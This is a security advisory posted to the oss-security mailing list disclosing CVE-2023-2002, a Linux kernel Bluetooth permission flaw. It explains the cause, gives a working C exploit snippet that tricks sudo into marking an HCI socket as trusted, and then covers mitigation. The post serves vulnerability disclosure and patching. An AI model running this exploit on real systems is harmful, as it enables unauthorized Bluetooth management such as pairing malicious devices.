Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Sun, 16 Apr 2023 18:12:18 +0800
From: Ruihan Li <lrh2000@....edu.cn>
To: oss-security@...ts.openwall.com
Cc: Ruihan Li <lrh2000@....edu.cn>
Subject: CVE-2023-2002: Linux Bluetooth: Unauthorized management command
 execution

Hi,

An insufficient permission check has been found in the Bluetooth subsystem of
the Linux kernel when handling ioctl system calls of HCI sockets. This causes
tasks without the proper CAP_NET_ADMIN capability can easily mark HCI sockets
as _trusted_. Trusted sockets are intended to enable the sending and receiving
of management commands and events, such as pairing or connecting with a new
device.  As a result, unprivileged users can acquire a trusted socket, leading
to unauthorized execution of management commands. The exploit requires only
the presence of a set of commonly used setuid programs (e.g., su, sudo).

## Cause

The direct cause of the vulnerability is the following code snippet:
```c
static int hci_sock_ioctl(struct socket *sock, unsigned int cmd,
                          unsigned long arg)
{
	...
        if (hci_sock_gen_cookie(sk)) {
		...
                if (capable(CAP_NET_ADMIN))
                        hci_sock_set_flag(sk, HCI_SOCK_TRUSTED);
		...
        }
	...
}
```

The implementation of an ioctl system call verifies whether the task invoking
the call has the necessary CAP_NET_ADMIN capability to update the
HCI_SOCK_TRUSTED flag. However, this check only considers the calling task,
which may not necessarily be the socket opener. For instance, the socket can
be shared with another task using fork and execve, where the latter task may
be privileged, such as a setuid program. Moreover, if the socket is used as
stdout or stderr, an ioctl call is made to obtain tty parameters, which can be
verified through the strace command.
```
# strace -e trace=ioctl sudo > /dev/null
ioctl(3, TIOCGPGRP, [30305])            = 0
ioctl(2, TIOCGWINSZ, {ws_row=45, ws_col=190, ws_xpixel=0, ws_ypixel=0}) = 0
```

The ioctl calls for tty parameters will never succeed on HCI sockets, but they
are sufficient to mark HCI sockets as trusted. Therefore, an unprivileged
program can hold trusted HCI sockets, enabling it to send and receive
management commands and events, since the trusted flag will never be cleared.

## Exploit

The exploitation can be as easy as below:
```c
	int fd = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);

	/* By executing sudo with an HCI socket as stderr, an ioctl
	 * system call makes the HCI socket privileged (i.e. with
	 * the HCI_SOCK_TRUSTED flag set).
	 */
	int pid = fork();
	if (pid == 0) {
		dup2(fd, 2);
		close(fd);
		execlp("sudo", "sudo");
	}

	waitpid(pid, NULL, 0);

	struct sockaddr_hci haddr;
	haddr.hci_family = AF_BLUETOOTH;
	haddr.hci_dev = HCI_DEV_NONE;
	haddr.hci_channel = HCI_CHANNEL_CONTROL;

	/* The socket has not been bound. It can be bound to the
	 * management channel now. After that, the HCI_SOCK_TRUSTED
	 * flag is still present, as it will indeed never be cleared.
	 */
	bind(fd, (struct sockaddr *)&haddr, sizeof(haddr));
```

Furthermore, btmon can be used to confirm that the socket becomes trusted and
successive management commands will succeed:
```
# btmon
@ RAW Open: sudo (privileged) version 2.22
@ RAW Close: sudo
@ MGMT Open: sudo (privileged) version 1.22
@ MGMT Command: Set Powered (0x0005) plen 1
        Powered: Disabled (0x00)
@ MGMT Event: Command Complete (0x0001) plen 7
      Set Powered (0x0005) plen 4
        Status: Success (0x00)
```

A full PoC exploit to change the power state of Bluetooth devices can be found
[on GitHub][exp].

[exp]: https://github.com/lrh2000/CVE-2023-2002/tree/master/exp

## Impact

If successfully exploited, the identified vulnerability has the potential to
compromise the confidentiality, integrity, and availability of Bluetooth
communication. Attackers can exploit this vulnerability to pair the controller
with malicious devices, even if the Bluetooth service is disabled or not
installed. It is also possible to prevent specific devices from being paired,
or read some sensitive information such as the OOB data.

## Affection

The exploitable vulnerability has been present in the Linux kernel since v4.9.
More specifically, it becomes exploitable after the [commit f81f5b2db869][cm]
("Bluetooth: Send control open and close messages for HCI raw sockets"). Prior
to this commit, exploiting the vulnerability required tricking a privileged
program into binding an HCI socket, which is very hard (if not impossible) to
trigger in practice. However, after the commit, it requires only tricking a
privileged program to invoke an ioctl system call, which relies only on the
existence of an setuid program, as illustrated above.

[cm]: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=f81f5b2db869

The exploitation works as long as there are setuid programs (or more
precisely, programs with the CAP_NET_ADMIN capability) that invokes ioctl
calls on stdin, stdout, or stderr. In most Linux distros, a quick (but very
coarse) test reveals that quite a few setuid programs are using ioctl system
calls, which are marked with 'V' in the table below:
```
# find . -user root -perm -4000 -exec sh -c "strace -e trace=ioctl {} < /dev/null 2>&1 > /dev/null | grep ioctl > /dev/null && echo -n 'V ' || echo -n 'S '; echo {};" \; | sort
S ./chage
S ./expiry
S ./fusermount
S ./fusermount3
S ./gpasswd
S ./ksu
S ./mount.cifs
S ./sg
S ./umount
V ./chfn
V ./chsh
V ./mount
V ./newgrp
V ./passwd
V ./pkexec
V ./screen-4.9.0
V ./su
V ./sudo
V ./unix_chkpwd
```
After manually checking the strace output, it is found that all of these ioctl
users are using ioctl calls on stdin, stdout, or stderr to get or set some tty
parameters. Note that exactly no arguments are passed to these setuid
programs. If some crafted arguments are passed, the number of ioctl users may
increase. As a result, a number of linux distros can be vulnerable to the
exploitation.

As a side note, Android devices, however, are unlikely to be affected since
the exploitation requires the existence of setuid programs, which Android has
[avoided using][su] for some time. Besides, there are also no applications
with the CAP_NET_ADMIN capability on Android.

[su]: https://source.android.com/docs/security/enhancements/enhancements43

## Mitigation

[A patch][fi] has been posted to the linux-bluetooth mailing list which fixes
this vulnerability by replacing capable() with sk_capable(), where
sk_capable() checks not only the current task but also that the socket opener
has the required capability. At the same time, [another submitted patch][se]
hardens the ioctl processing logic by checking command validity at the start
of hci_sock_ioctl() and returning with an ENOIOCTLCMD error code immediately
before doing anything if the command is invalid.

[fi]: https://lore.kernel.org/linux-bluetooth/20230416081404.8227-1-lrh2000@pku.edu.cn
[se]: https://lore.kernel.org/linux-bluetooth/20230416080251.7717-1-lrh2000@pku.edu.cn

As a workaround, if the Bluetooth devices are not being used at all (but it is
not feasible to physically remove the device), it is possible to simply block
the devices using rfkill, which will prevent the devices from being powered
up. By doing so, sending management commands to power up Bluetooth devices
won't succeed. This can significantly reduce the impact of this vulnerability.

There are two ways to avoid similar vulnerabilities in the future: hardening
the Linux kernel and hardening userspace setuid programs.
 - There are many uses of capable() in the Linux kernel that check the
   capability of the current task, but do nothing about the file or socket
   opener. In many cases, it may be reasonable to also check the capability of
   the opener. However, adding more capability checks can lead to unexpected
   regressions, although no such examples in reality have been seen at the
   time of writing.
 - Stdin, stdout, and stderr are different from other file descriptors,
   because they are inherited from the parent task but are used directly by
   the current task. For privileged setuid programs, inherited file
   descriptors may need to be treated as untrusted. Therefore, it also seems
   reasonable to explicitly drop privileges when invoking system calls on
   these untrusted file descriptors.

## Relation

This vulnerability shares exactly the same principle as [CVE-2014-0181][c14]. In
the case of CVE-2014-0181, the issue was the lack of a mechanism to authorize
Netlink operations based on the opener of the socket, which allows local users
to modify network configurations by using a Netlink socket for the stdout or
stderr of a setuid program.

[c14]: https://nvd.nist.gov/vuln/detail/CVE-2014-0181

## Timeline

**2023-04-04:** I discovered this vulnerability during my audit of the
Bluetooth protocol stack in the Linux kernel.

**2023-04-09:** I have reported this vulnerability to the Linux kernel
security team and distribution vendors, with an initial version of patches.

**2023-04-12:** This vulnerability has been assigned a CVE ID, which is
CVE-2023-2002.

**2023-04-13:** After several days of discussion with the maintainers, the
patches have been updated accordingly.

**2023-04-16:** The vulnerability was disclosed on the public oss-security
mailing list (here) and [on GitHub][gh]. Two patches have been posted to the
public linux-bluetooth mailing list ([first][fi], [second][se]).

[gh]: https://github.com/lrh2000/CVE-2023-2002

Thanks,
Ruihan Li

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.